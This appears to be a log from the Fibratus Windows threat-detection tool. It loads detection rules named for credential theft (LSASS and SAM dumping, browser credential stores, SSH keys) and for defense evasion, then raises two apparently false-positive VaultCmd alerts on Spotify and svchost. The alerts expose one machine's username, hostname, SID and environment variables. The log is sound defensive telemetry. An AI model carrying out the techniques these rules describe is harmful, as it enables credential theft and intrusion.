PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERNAME:SYSTEM USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:07:41+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T23:07:41+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:07:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:08:22+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:08:22+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-03T23:08:22+01:00 level=info msg=bootstrapping with pid 12092. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T23:08:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false] mail=>[ to=>[] use-template=>true enabled=>false port=>25 content-type=>text/html] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-vamap=>true min-buffers=>16 enable-mem=>false enable-handle=>false enable-registry=>true enable-image=>true enable-net=>true enable-fileio=>true max-buffers=>36 enable-threadpool=>false enable-audit-api=>true buffer-size=>512 flush-interval=>1s enable-thread=>true enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text max-age=>0 level=>info max-size=>100 log-stdout=>true] + output ......................... [ http=>[ timeout=>5s endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false serializer=>json method=>POST] elasticsearch=>[ index-name=>fibratus gzip-compression=>false healthcheck=>true trace-log=>false template-name=>fibratus timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false enabled=>false flush-period=>1s bulk-workers=>1 healthcheck-timeout=>5s healthcheck-interval=>10s] amqp=>[ vhost=>/ exchange-type=>topic passive=>false url=>amqp://localhost:5672 delivery-mode=>transient routing-key=>fibratus enabled=>false durable=>false exchange=>fibratus tls-insecure-skip-verify=>false timeout=>5s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s enabled=>false skip-registry=>false skip-mmaps=>false excluded-files=>[] excluded-procs=>[] fastscan=>true skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-03T23:08:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:08:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:08:33+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1357578 + Pid: 5012 + Tid: 14488 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:08:28.2940151 +0100 CET + Params: file_key➜ ffff808cc8ed6c00, offset➜ 0, pid➜ 5012, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 1e2a7e50000, view_size➜ 81920 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.id: T1555, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 5012 + Ppid: 8756 + Name: Spotify.exe + Parent name: explorer.exe + Cmdline: "C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe + Cwd: C:\Users\nedo\AppData\Roaming\Spotify\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\AppData\Roaming\Spotify\Spotify.exe" --autostart --minimized] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CHROME_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_5012_BPKPWUOSQQDNBAFJ COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EFC_8756_1262719628:1 EFC_8756_1592913036:1 EFC_8756_2283032206:1 EFC_8756_2775293581:1 EFC_8756_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:08:33+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1357586 + Pid: 14364 + Tid: 11460 + Type: MapViewFile + CPU: 1 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:08:28.2946103 +0100 CET + Params: file_key➜ ffff808cc8ed55b0, offset➜ 0, pid➜ 14364, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 26615fe0000, view_size➜ 81920 + Metadata: tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 14364 + Ppid: 760 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k LocalService -p -s NPSMSvc + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\system32\svchost.exe -k LocalService -p -s NPSMSvc] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 